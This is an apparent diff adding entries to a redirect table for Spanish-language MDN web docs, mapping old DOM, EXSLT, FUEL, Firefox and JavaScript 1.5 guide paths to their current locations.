+/es/docs/DOM/Stylesheet_object	/es/docs/Web/API/CSSStyleSheet
+/es/docs/DOM/Window.getComputedStyle	/es/docs/Web/API/Window/getComputedStyle
+/es/docs/DOM/dispatchEvent_example	/es/docs/Web/Guide/DOM/Events/Creating_and_triggering_events
+/es/docs/DOM/document	/es/docs/Web/API/Document
+/es/docs/DOM/document.URL	/es/docs/Web/API/Document/URL
+/es/docs/DOM/document.activeElement	/es/docs/Web/API/DocumentOrShadowRoot/activeElement
+/es/docs/DOM/document.alinkColor	/es/docs/Web/API/Document/alinkColor
+/es/docs/DOM/document.anchors	/es/docs/Web/API/Document/anchors
+/es/docs/DOM/document.applets	/es/docs/Web/API/Document/applets
+/es/docs/DOM/document.bgColor	/es/docs/Web/API/Document/bgColor
+/es/docs/DOM/document.body	/es/docs/Web/API/Document/body
+/es/docs/DOM/document.characterSet	/es/docs/Web/API/Document/characterSet
+/es/docs/DOM/document.createEvent	/es/docs/Web/API/Document/createEvent
+/es/docs/DOM/document.createRange	/es/docs/Web/API/Document/createRange
+/es/docs/DOM/document.documentElement	/es/docs/Web/API/Document/documentElement
+/es/docs/DOM/document.documentURIObject	/es/docs/Web/API/Document/documentURIObject
+/es/docs/DOM/document.elementFromPoint	/es/docs/Web/API/DocumentOrShadowRoot/elementFromPoint
+/es/docs/DOM/document.firstChild	/es/docs/Web/API/Node.firstChild
+/es/docs/DOM/document.getElementById	/es/docs/Web/API/Document/getElementById
+/es/docs/DOM/document.getElementsByTagName	/es/docs/Web/API/Document/getElementsByTagName
+/es/docs/DOM/document.getElementsByTagNameNS	/es/docs/Web/API/Document/getElementsByTagNameNS
+/es/docs/DOM/document.hasFocus	/es/docs/Web/API/Document/hasFocus
+/es/docs/DOM/element	/es/docs/Web/API/Element
+/es/docs/DOM/element.activeElement	/es/docs/Web/API/DocumentOrShadowRoot/activeElement
+/es/docs/DOM/element.clientLeft	/es/docs/Web/API/Element/clientLeft
+/es/docs/DOM/element.clientTop	/es/docs/Web/API/Element/clientTop
+/es/docs/DOM/element.dispatchEvent	/es/docs/Web/API/EventTarget/dispatchEvent
+/es/docs/DOM/element.getBoundingClientRect	/es/docs/Web/API/Element/getBoundingClientRect
+/es/docs/DOM/element.getClientRects	/es/docs/Web/API/Element/getClientRects
+/es/docs/DOM/element.getElementsByTagName	/es/docs/Web/API/Element/getElementsByTagName
+/es/docs/DOM/element.hasFocus	/es/docs/Web/API/Document/hasFocus
+/es/docs/DOM/element.innerHTML	/es/docs/Web/API/Element/innerHTML
+/es/docs/DOM/element.nodeName	/es/docs/Web/API/Node/nodeName
+/es/docs/DOM/element.tagName	/es/docs/Web/API/Element/tagName
+/es/docs/DOM/elemento.addEventListener	/es/docs/Web/API/EventTarget/addEventListener
+/es/docs/DOM/event	/es/docs/Web/API/Event
+/es/docs/DOM/event.bubbles	/es/docs/Web/API/Event/bubbles
+/es/docs/DOM/event.cancelable	/es/docs/Web/API/Event/cancelable
+/es/docs/DOM/event.initEvent	/es/docs/Web/API/Event/initEvent
+/es/docs/DOM/event.initMouseEvent	/es/docs/Web/API/MouseEvent/initMouseEvent
+/es/docs/DOM/event.pageX	/es/docs/Web/API/UIEvent/pageX
+/es/docs/DOM/event.preventDefault	/es/docs/Web/API/Event/preventDefault
+/es/docs/DOM/event.type	/es/docs/Web/API/Event/type
+/es/docs/DOM/form	/es/docs/Web/API/HTMLFormElement
+/es/docs/DOM/navegador.id	/es/docs/Web/API/Navigator/id
+/es/docs/DOM/navigator.id	/es/docs/Web/API/Navigator/id
+/es/docs/DOM/navigator.mozSocial	/es/docs/Web/API/Navigator/mozSocial
+/es/docs/DOM/range	/es/docs/Web/API/Range
+/es/docs/DOM/range.collapsed	/es/docs/Web/API/Range/collapsed
+/es/docs/DOM/range.commonAncestorContainer	/es/docs/Web/API/Range/commonAncestorContainer
+/es/docs/DOM/range.intersectsNode	/es/docs/Web/API/Range/intersectsNode
+/es/docs/DOM/style	/es/docs/Web/API/HTMLStyleElement
+/es/docs/DOM/table	/es/docs/Web/API/HTMLTableElement
+/es/docs/DOM/window	/es/docs/Web/API/Window
+/es/docs/DOM/window.applicationCache	/es/docs/Web/API/Window/applicationCache
+/es/docs/DOM/window.fullScreen	/es/docs/Web/API/Window/fullScreen
+/es/docs/DOM/window.getSelection	/es/docs/Web/API/Window/getSelection
+/es/docs/DOM/window.navigator.geolocation	/es/docs/Web/API/NavigatorGeolocation/geolocation
+/es/docs/DOM/window.navigator.registerProtocolHandler	/es/docs/Web/API/Navigator/registerProtocolHandler
+/es/docs/DOM/window.navigator.vibrate	/es/docs/Web/API/Navigator/vibrate
+/es/docs/DOM/window.onload	/es/docs/Web/API/GlobalEventHandlers/onload
+/es/docs/DOM/window.onunload	/es/docs/Web/API/GlobalEventHandlers/onunload
+/es/docs/DOM/window.requestAnimationFrame	/es/docs/Web/API/Window/requestAnimationFrame
+/es/docs/DOM:Almacenamiento	/es/docs/DOM/Almacenamiento
+/es/docs/DOM:Comunidad	/es/docs/DOM/Comunidad
+/es/docs/DOM:Selection:addRange	/es/docs/Web/API/Selection/addRange
+/es/docs/DOM:Selection:anchorNode	/es/docs/Web/API/Selection/anchorNode
+/es/docs/DOM:Selection:anchorOffset	/es/docs/Web/API/Selection/anchorOffset
+/es/docs/DOM:Selection:collapse	/es/docs/Web/API/Selection/collapse
+/es/docs/DOM:Selection:collapseToEnd	/es/docs/Web/API/Selection/collapseToEnd
+/es/docs/DOM:Selection:collapseToStart	/es/docs/Web/API/Selection/collapseToStart
+/es/docs/DOM:Selection:containsNode	/es/docs/Web/API/Selection/containsNode
+/es/docs/DOM:Selection:deleteFromDocument	/es/docs/Web/API/Selection/deleteFromDocument
+/es/docs/DOM:Selection:extend	/es/docs/Web/API/Selection/extend
+/es/docs/DOM:Selection:focusNode	/es/docs/Web/API/Selection/focusNode
+/es/docs/DOM:Selection:focusOffset	/es/docs/Web/API/Selection/focusOffset
+/es/docs/DOM:Selection:getRangeAt	/es/docs/Web/API/Selection/getRangeAt
+/es/docs/DOM:Selection:isCollapsed	/es/docs/Web/API/Selection/isCollapsed
+/es/docs/DOM:Selection:rangeCount	/es/docs/Web/API/Selection/rangeCount
+/es/docs/DOM:Selection:removeAllRanges	/es/docs/Web/API/Selection/removeAllRanges
+/es/docs/DOM:Selection:removeRange	/es/docs/Web/API/Selection/removeRange
+/es/docs/DOM:Selection:selectAllChildren	/es/docs/Web/API/Selection/selectAllChildren
+/es/docs/DOM:Selection:toString	/es/docs/Web/API/Selection/toString
+/es/docs/DOM:dispatchEvent_example	/es/docs/Web/Guide/DOM/Events/Creating_and_triggering_events
+/es/docs/DOM:document	/es/docs/Web/API/Document
+/es/docs/DOM:document.URL	/es/docs/Web/API/Document/URL
+/es/docs/DOM:document.activeElement	/es/docs/Web/API/DocumentOrShadowRoot/activeElement
+/es/docs/DOM:document.alinkColor	/es/docs/Web/API/Document/alinkColor
+/es/docs/DOM:document.anchors	/es/docs/Web/API/Document/anchors
+/es/docs/DOM:document.applets	/es/docs/Web/API/Document/applets
+/es/docs/DOM:document.bgColor	/es/docs/Web/API/Document/bgColor
+/es/docs/DOM:document.body	/es/docs/Web/API/Document/body
+/es/docs/DOM:document.characterSet	/es/docs/Web/API/Document/characterSet
+/es/docs/DOM:document.cookie	/es/docs/DOM/document.cookie
+/es/docs/DOM:document.createEvent	/es/docs/Web/API/Document/createEvent
+/es/docs/DOM:document.createRange	/es/docs/Web/API/Document/createRange
+/es/docs/DOM:document.documentElement	/es/docs/Web/API/Document/documentElement
+/es/docs/DOM:document.documentURIObject	/es/docs/Web/API/Document/documentURIObject
+/es/docs/DOM:document.elementFromPoint	/es/docs/Web/API/DocumentOrShadowRoot/elementFromPoint
+/es/docs/DOM:document.firstChild	/es/docs/Web/API/Node.firstChild
+/es/docs/DOM:document.getElementById	/es/docs/Web/API/Document/getElementById
+/es/docs/DOM:document.getElementsByTagName	/es/docs/Web/API/Document/getElementsByTagName
+/es/docs/DOM:document.getElementsByTagNameNS	/es/docs/Web/API/Document/getElementsByTagNameNS
+/es/docs/DOM:document.hasFocus	/es/docs/Web/API/Document/hasFocus
+/es/docs/DOM:element	/es/docs/Web/API/Element
+/es/docs/DOM:element.activeElemen	/es/docs/DOM/element.activeElemen
+/es/docs/DOM:element.activeElement	/es/docs/Web/API/DocumentOrShadowRoot/activeElement
+/es/docs/DOM:element.clientLeft	/es/docs/Web/API/Element/clientLeft
+/es/docs/DOM:element.clientTop	/es/docs/Web/API/Element/clientTop
+/es/docs/DOM:element.dispatchEvent	/es/docs/Web/API/EventTarget/dispatchEvent
+/es/docs/DOM:element.getBoundingClientRect	/es/docs/Web/API/Element/getBoundingClientRect
+/es/docs/DOM:element.getClientRects	/es/docs/Web/API/Element/getClientRects
+/es/docs/DOM:element.getElementsByTagName	/es/docs/Web/API/Element/getElementsByTagName
+/es/docs/DOM:element.hasFocus	/es/docs/Web/API/Document/hasFocus
+/es/docs/DOM:element.nodeName	/es/docs/Web/API/Node/nodeName
+/es/docs/DOM:element.tagName	/es/docs/Web/API/Element/tagName
+/es/docs/DOM:event	/es/docs/Web/API/Event
+/es/docs/DOM:event.bubbles	/es/docs/Web/API/Event/bubbles
+/es/docs/DOM:event.cancelable	/es/docs/Web/API/Event/cancelable
+/es/docs/DOM:event.initEvent	/es/docs/Web/API/Event/initEvent
+/es/docs/DOM:event.initMouseEvent	/es/docs/Web/API/MouseEvent/initMouseEvent
+/es/docs/DOM:event.pageX	/es/docs/Web/API/UIEvent/pageX
+/es/docs/DOM:event.preventDefault	/es/docs/Web/API/Event/preventDefault
+/es/docs/DOM:form	/es/docs/Web/API/HTMLFormElement
+/es/docs/DOM:range	/es/docs/Web/API/Range
+/es/docs/DOM:range.cloneContents	/es/docs/DOM/range.cloneContents
+/es/docs/DOM:range.cloneRange	/es/docs/DOM/range.cloneRange
+/es/docs/DOM:range.collapse	/es/docs/DOM/range.collapse
+/es/docs/DOM:range.collapsed	/es/docs/Web/API/Range/collapsed
+/es/docs/DOM:range.commonAncestorContainer	/es/docs/Web/API/Range/commonAncestorContainer
+/es/docs/DOM:range.compareBoundaryPoints	/es/docs/DOM/range.compareBoundaryPoints
+/es/docs/DOM:range.compareNode	/es/docs/DOM/range.compareNode
+/es/docs/DOM:range.comparePoint	/es/docs/DOM/range.comparePoint
+/es/docs/DOM:range.createContextualFragment	/es/docs/DOM/range.createContextualFragment
+/es/docs/DOM:range.deleteContents	/es/docs/DOM/range.deleteContents
+/es/docs/DOM:range.detach	/es/docs/DOM/range.detach
+/es/docs/DOM:range.endContainer	/es/docs/DOM/range.endContainer
+/es/docs/DOM:range.endOffset	/es/docs/DOM/range.endOffset
+/es/docs/DOM:range.extractContents	/es/docs/DOM/range.extractContents
+/es/docs/DOM:range.insertNode	/es/docs/DOM/range.insertNode
+/es/docs/DOM:range.intersectsNode	/es/docs/Web/API/Range/intersectsNode
+/es/docs/DOM:range.isPointInRange	/es/docs/DOM/range.isPointInRange
+/es/docs/DOM:range.selectNode	/es/docs/DOM/range.selectNode
+/es/docs/DOM:range.selectNodeContents	/es/docs/DOM/range.selectNodeContents
+/es/docs/DOM:range.setEnd	/es/docs/DOM/range.setEnd
+/es/docs/DOM:range.setEndAfter	/es/docs/DOM/range.setEndAfter
+/es/docs/DOM:range.setEndBefore	/es/docs/DOM/range.setEndBefore
+/es/docs/DOM:range.setStart	/es/docs/DOM/range.setStart
+/es/docs/DOM:range.setStartAfter	/es/docs/DOM/range.setStartAfter
+/es/docs/DOM:range.setStartBefore	/es/docs/DOM/range.setStartBefore
+/es/docs/DOM:range.startContainer	/es/docs/DOM/range.startContainer
+/es/docs/DOM:range.startOffset	/es/docs/DOM/range.startOffset
+/es/docs/DOM:range.surroundContents	/es/docs/DOM/range.surroundContents
+/es/docs/DOM:range.toString	/es/docs/DOM/range.toString
+/es/docs/DOM:selection	/es/docs/Web/API/Selection
+/es/docs/DOM:style	/es/docs/Web/API/HTMLStyleElement
+/es/docs/DOM:table	/es/docs/Web/API/HTMLTableElement
+/es/docs/DOM:window	/es/docs/Web/API/Window
+/es/docs/DOM:window.applicationCache	/es/docs/Web/API/Window/applicationCache
+/es/docs/DOM:window.fullScreen	/es/docs/Web/API/Window/fullScreen
+/es/docs/DOM:window.getSelection	/es/docs/Web/API/Window/getSelection
+/es/docs/DOM:window.navigator.registerProtocolHandler	/es/docs/Web/API/Navigator/registerProtocolHandler
+/es/docs/DOM_Client_Object_Cross-Reference:navigator	/es/docs/DOM_Client_Object_Cross-Reference/navigator
+/es/docs/Desarrollo_Web:Comunidad	/es/docs/Desarrollo_Web/Comunidad
+/es/docs/Descargar_el_c%C3%B3digo_fuente_de_Mozilla	/es/docs/Mozilla/Developer_guide/Source_Code/Descargar_el_c%C3%B3digo_fuente_de_Mozilla
+/es/docs/Detecci%C3%B3n_del_navegador_y_soporte_entre_ellos	/es/docs/Detecci%C3%B3n_del_navegador_y_cobertura_a_m%C3%BAltiples_navegadores
+/es/docs/Developer_Guide	/es/docs/Mozilla/Developer_guide
+/es/docs/Developer_Guide/Source_Code	/es/docs/Mozilla/Developer_guide/Source_Code
+/es/docs/Documentaci%C3%B3n_de_compilado	/es/docs/Mozilla/Developer_guide/Documentaci%C3%B3n_para_la_compilaci%C3%B3n
+/es/docs/Documentaci%C3%B3n_para_la_compilaci%C3%B3n	/es/docs/Mozilla/Developer_guide/Documentaci%C3%B3n_para_la_compilaci%C3%B3n
+/es/docs/Documentaci%C3%B3n_para_la_compilaci%C3%B3n:TOC	/es/docs/Documentaci%C3%B3n_para_la_compilaci%C3%B3n/TOC
+/es/docs/Drawing_text_using_a_canvas	/es/docs/Dibujar_texto_usando_canvas
+/es/docs/EXSLT	/es/docs/Web/EXSLT
+/es/docs/EXSLT/exsl	/es/docs/Web/EXSLT/exsl
+/es/docs/EXSLT/exsl/node-set	/es/docs/Web/EXSLT/exsl/node-set
+/es/docs/EXSLT/exsl/object-type	/es/docs/Web/EXSLT/exsl/object-type
+/es/docs/EXSLT/math	/es/docs/Web/EXSLT/math
+/es/docs/EXSLT/math/highest	/es/docs/Web/EXSLT/math/highest
+/es/docs/EXSLT/math/lowest	/es/docs/Web/EXSLT/math/lowest
+/es/docs/EXSLT/math/max	/es/docs/Web/EXSLT/math/max
+/es/docs/EXSLT/math/min	/es/docs/Web/EXSLT/math/min
+/es/docs/EXSLT/regexp	/es/docs/Web/EXSLT/regexp
+/es/docs/EXSLT/regexp/match	/es/docs/Web/EXSLT/regexp/match
+/es/docs/EXSLT/regexp/replace	/es/docs/Web/EXSLT/regexp/replace
+/es/docs/EXSLT/regexp/test	/es/docs/Web/EXSLT/regexp/test
+/es/docs/EXSLT/set	/es/docs/Web/EXSLT/set
+/es/docs/EXSLT/set/difference	/es/docs/Web/EXSLT/set/difference
+/es/docs/EXSLT/set/distinct	/es/docs/Web/EXSLT/set/distinct
+/es/docs/EXSLT/set/has-same-node	/es/docs/Web/EXSLT/set/has-same-node
+/es/docs/EXSLT/set/intersection	/es/docs/Web/EXSLT/set/intersection
+/es/docs/EXSLT/set/leading	/es/docs/Web/EXSLT/set/leading
+/es/docs/EXSLT/set/trailing	/es/docs/Web/EXSLT/set/trailing
+/es/docs/EXSLT/str	/es/docs/Web/EXSLT/str
+/es/docs/EXSLT/str/concat	/es/docs/Web/EXSLT/str/concat
+/es/docs/EXSLT/str/split	/es/docs/Web/EXSLT/str/split
+/es/docs/EXSLT/str/tokenize	/es/docs/Web/EXSLT/str/tokenize
+/es/docs/EXSLT:exsl:node-set	/es/docs/Web/EXSLT/exsl/node-set
+/es/docs/EXSLT:exsl:object-type	/es/docs/Web/EXSLT/exsl/object-type
+/es/docs/EXSLT:math:highest	/es/docs/Web/EXSLT/math/highest
+/es/docs/EXSLT:math:lowest	/es/docs/Web/EXSLT/math/lowest
+/es/docs/EXSLT:math:max	/es/docs/Web/EXSLT/math/max
+/es/docs/EXSLT:math:min	/es/docs/Web/EXSLT/math/min
+/es/docs/EXSLT:regexp:match	/es/docs/Web/EXSLT/regexp/match
+/es/docs/EXSLT:regexp:replace	/es/docs/Web/EXSLT/regexp/replace
+/es/docs/EXSLT:regexp:test	/es/docs/Web/EXSLT/regexp/test
+/es/docs/EXSLT:set:difference	/es/docs/Web/EXSLT/set/difference
+/es/docs/EXSLT:set:distinct	/es/docs/Web/EXSLT/set/distinct
+/es/docs/EXSLT:set:has-same-node	/es/docs/Web/EXSLT/set/has-same-node
+/es/docs/EXSLT:set:intersection	/es/docs/Web/EXSLT/set/intersection
+/es/docs/EXSLT:set:leading	/es/docs/Web/EXSLT/set/leading
+/es/docs/EXSLT:set:trailing	/es/docs/Web/EXSLT/set/trailing
+/es/docs/EXSLT:str:concat	/es/docs/Web/EXSLT/str/concat
+/es/docs/EXSLT:str:split	/es/docs/Web/EXSLT/str/split
+/es/docs/EXSLT:str:tokenize	/es/docs/Web/EXSLT/str/tokenize
+/es/docs/Errores_notables_corregidos_en_Firefox_3	/es/docs/Bugs_importantes_solucionados_en_Firefox_3
+/es/docs/Escribir_CSS_eficaz	/es/docs/Web/CSS/Escribir_CSS_eficiente
+/es/docs/Escribir_CSS_eficiente	/es/docs/Web/CSS/Escribir_CSS_eficiente
+/es/docs/Est%C3%A1ndares_Web:Comunidad	/es/docs/Est%C3%A1ndares_Web/Comunidad
+/es/docs/Eventos_online_y_offline	/es/docs/Web/API/NavigatorOnLine/Eventos_online_y_offline
+/es/docs/Extensi%C3%B3n_Firebug_(externo)	https://addons.mozilla.org/extensions/moreinfo.php?id=1843&application=firefox
+/es/docs/Extensiones:Comunidad	/es/docs/Extensiones/Comunidad
+/es/docs/FUEL:Annotations	/es/docs/FUEL/Annotations
+/es/docs/FUEL:Application	/es/docs/FUEL/Application
+/es/docs/FUEL:Bookmark	/es/docs/FUEL/Bookmark
+/es/docs/FUEL:BookmarkFolder	/es/docs/FUEL/BookmarkFolder
+/es/docs/FUEL:BrowserTab	/es/docs/FUEL/BrowserTab
+/es/docs/FUEL:Console	/es/docs/FUEL/Console
+/es/docs/FUEL:EventItem	/es/docs/FUEL/EventItem
+/es/docs/FUEL:EventListener	/es/docs/FUEL/EventListener
+/es/docs/FUEL:Events	/es/docs/FUEL/Events
+/es/docs/FUEL:Extension	/es/docs/FUEL/Extension
+/es/docs/FUEL:Extensions	/es/docs/FUEL/Extensions
+/es/docs/FUEL:Preference	/es/docs/FUEL/Preference
+/es/docs/FUEL:PreferenceBranch	/es/docs/FUEL/PreferenceBranch
+/es/docs/FUEL:SessionStorage	/es/docs/FUEL/SessionStorage
+/es/docs/FUEL:Window	/es/docs/FUEL/Window
+/es/docs/Firefox_1.5	/es/docs/Firefox_1.5_para_Desarrolladores
+/es/docs/Firefox_2	/es/docs/Firefox_2_para_desarrolladores
+/es/docs/Firefox_3.1_para_desarrolladores	/es/docs/Firefox_3.5_para_desarrolladores
+/es/docs/Firefox_3.5_para_desarrolladores/Firefox_3.1_para_desarrolladores	/es/docs/Firefox_3.5_para_desarrolladores
+/es/docs/Firefox_3.5_para_desarrolladores/Firefox_3.5_para_desarrolladores	/es/docs/Firefox_3.5_para_desarrolladores
+/es/docs/Firefox_3_para_desarrolladores:Traducciones_pendientes	/es/docs/Firefox_3_para_desarrolladores/Traducciones_pendientes
+/es/docs/Firefox_addons_developer_guide/Introduction_to_Extensions-redirect-1	/es/docs/Firefox_addons_developer_guide/Introduction_to_Extensions
+/es/docs/Firefox_en_Android	/es/docs/Mozilla/Firefox_para_Android
+/es/docs/Firefox_para_desarrolladores	/en-US/docs/Firefox_10_para_desarrolladores
+/es/docs/Garant%C3%ADa_de_Calidad	/es/docs/QA
+/es/docs/Gesti%C3%B3n_del_foco_en_HTML	/es/docs/Web/API/Document/hasFocus
+/es/docs/Glossary/AOM	/es/docs/Glossary/Accessibility_tree
+/es/docs/Glossary/undefined_es	/es/docs/Glossary/undefined
+/es/docs/Gu%C3%ADa_JavaScript_1.5	/es/docs/Web/JavaScript/Guide
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Acerca_de_esta_gu%C3%ADa	/es/docs/Web/JavaScript/Guide/Introducci%C3%B3n
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Concepto_de_JavaScript	/es/docs/Web/JavaScript/Guide/Introducci%C3%B3n
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Constantes	/es/docs/Web/JavaScript/Referencia/Sentencias/const
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Crear_nuevos_objetos	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#Creando_nuevos_objetos
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Crear_nuevos_objetos/Borrando_propiedades	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#Eliminando_propiedades
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Crear_nuevos_objetos/Definiendo_las_funciones_get_y_set	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#Definiendo_getters_y_setters
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Crear_nuevos_objetos/Definiendo_los_m%C3%A9todos	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#Definiendo_los_m.C3.A9todos
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Crear_nuevos_objetos/Definiendo_propiedades_para_un_tipo_de_objeto	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#Definici.C3.B3n_de_las_propiedades_de_un_tipo_de_objeto
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Crear_nuevos_objetos/Indexando_las_propiedades_del_objeto	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#Propiedades_del_objeto_indexado
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Crear_nuevos_objetos/Usando_this_para_referirse_al_objeto	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#Usando_this_para_las_referencias_a_objetos
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Crear_nuevos_objetos/Usando_una_funci%C3%B3n_constructora	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#Usando_una_funci.C3.B3n_constructora
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Crear_nuevos_objetos/Using_Object_Initializers	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#El_uso_de_inicializadores_de_objeto
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Crear_nuevos_objetos/Utilizando_Objetos_Iniciadores	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#El_uso_de_inicializadores_de_objeto
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Crear_una_expresi%C3%B3n_regular	/es/docs/Web/JavaScript/Guide/Regular_Expressions
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Definiendo_Funciones	/es/docs/Web/JavaScript/Guide/Funciones
+/es/docs/Gu%C3%ADa_JavaScript_1.5/El_ejemplo_Empleado	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Ejemplo.3A_employee
+/es/docs/Gu%C3%ADa_JavaScript_1.5/El_ejemplo_Employee	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Ejemplo.3A_employee
+/es/docs/Gu%C3%ADa_JavaScript_1.5/El_ejemplo_Employee/Constructores_m%C3%A1s_flexibles	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Constructores_mas_flexibles
+/es/docs/Gu%C3%ADa_JavaScript_1.5/El_ejemplo_Employee/Creando_la_jerarqu%C3%ADa	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Creacion_de_la_jerarquia
+/es/docs/Gu%C3%ADa_JavaScript_1.5/El_ejemplo_Employee/Propiedades_de_objetos	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Propiedades_de_objetos
+/es/docs/Gu%C3%ADa_JavaScript_1.5/El_ejemplo_Employee/Propiedades_de_objetos/A%C3%B1adiendo_propiedades	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#A.C3.B1adir_propiedades
+/es/docs/Gu%C3%ADa_JavaScript_1.5/El_ejemplo_Employee/Propiedades_de_objetos/Heredando_las_propiedades	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Herencia_de_propiedades
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Escribir_un_patr%C3%B3n_de_expresi%C3%B3n_regular	/es/docs/Web/JavaScript/Guide/Regular_Expressions
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Excepci%C3%B3n_del_DOM	/es/docs/Web/API/DOMException
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Expresiones	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Expresiones_Regulares	/es/docs/Web/JavaScript/Guide/Regular_Expressions
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Expresiones_y_operadores	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Funciones_predefinidas	/es/docs/Web/JavaScript/Guide/Funciones#Predefined_functions
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Funciones_predefinidas/Funci%C3%B3n_eval	/es/docs/Web/JavaScript/Guide/Funciones#eval_Function
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Funciones_predefinidas/Funci%C3%B3n_isFinite	/es/docs/Web/JavaScript/Guide/Funciones#isFinite_function
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Funciones_predefinidas/Funci%C3%B3n_isNaN	/es/docs/Web/JavaScript/Guide/Funciones#isNaN_function
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Funciones_predefinidas/Funciones_Number_y_String	/es/docs/Web/JavaScript/Guide/Funciones#Number_and_String_functions
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Funciones_predefinidas/Funciones_escape_y_unescape	/es/docs/Web/JavaScript/Guide/Funciones#escape_and_unescape_functions(Obsoleted_above_JavaScript_1.5)
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Funciones_predefinidas/Funciones_parseInt_y_parseFloat	/es/docs/Web/JavaScript/Guide/Funciones#parseInt_and_parseFloat_functions
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Lenguajes_basados_en_clases_frente_a_basados_en_prototipos	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Literales	/es/docs/Web/JavaScript/Guide/Grammar_and_types#Literales
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Llamando_Funciones	/es/docs/Web/JavaScript/Guide/Funciones#Llamando_funciones
+/es/docs/Gu%C3%ADa_JavaScript_1.5/M%C3%A1s_sobre_la_herencia_de_propiedades	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Mas_sobre_herencia_de_propiedades
+/es/docs/Gu%C3%ADa_JavaScript_1.5/M%C3%A1s_sobre_la_herencia_de_propiedades/Determinando_relaciones_de_instancia	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Como_determinar_las_relaciones_entre_instancias
+/es/docs/Gu%C3%ADa_JavaScript_1.5/M%C3%A1s_sobre_la_herencia_de_propiedades/Herencia_no_m%C3%BAltiple	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#No_existe_herencia_multiple
+/es/docs/Gu%C3%ADa_JavaScript_1.5/M%C3%A1s_sobre_la_herencia_de_propiedades/Informaci%C3%B3n_global_en_los_constructores	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Informacion_global_en_los_constructores
+/es/docs/Gu%C3%ADa_JavaScript_1.5/M%C3%A1s_sobre_la_herencia_de_propiedades/Valores_locales_frente_a_los_heredados	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Valores_locales_frente_a_valores_heredados
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Objetos_base_predefinidos	/es/docs/Web/JavaScript/Referencia
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Objetos_base_predefinidos/Objeto_Array	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Objetos_base_predefinidos/Objeto_Boolean	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Boolean
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Objetos_base_predefinidos/Objeto_Date	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Date
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Objetos_base_predefinidos/Objeto_Function	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Function
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Objetos_base_predefinidos/Objeto_Math	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Math
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Objetos_base_predefinidos/Objeto_Number	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Number
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Objetos_base_predefinidos/Objeto_RegExp	/es/docs/Web/JavaScript/Referencia/Objetos_globales/RegExp
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Objetos_base_predefinidos/Objeto_String	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Objetos_y_propiedades	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#Objetos_y_propiedades
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Operadores	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators#Operadores
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Operadores/Operadores_aritm%C3%A9ticos	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators#Operadores_aritm.C3.A9ticos
